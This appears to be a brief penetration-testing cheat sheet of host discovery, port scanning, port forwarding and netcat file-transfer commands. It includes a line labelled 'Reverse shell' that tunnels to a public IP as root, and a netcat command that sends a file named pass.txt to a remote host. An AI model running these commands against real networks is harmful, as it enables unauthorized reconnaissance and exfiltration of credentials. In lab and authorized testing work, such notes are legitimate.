Networking

Finding hosts in the network

Ping sweeps

# fping
fping -asgq 10.10.110.0/24

# Bash
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

# Nmap
nmap -sn 10.10.110.0/24

Netcat

# Port forward
ncat -k -l -p 8001 -c "ncat localhost 8000"

# Reverse shell
ssh -R 33555:localhost:9999 root@142.93.142.231

# Ping sweep
nc -vz -w 2 192.168.1.1-254

# Port scan
nc -vz -w 0.1 192.168.1.1-254 | grep -v "Connection timed out"

Netcat file transfer

# Listen
nc -lvnp 8888 > pass.txt

# Send
nc -w 3 10.129.231.66 8888 < pass.txt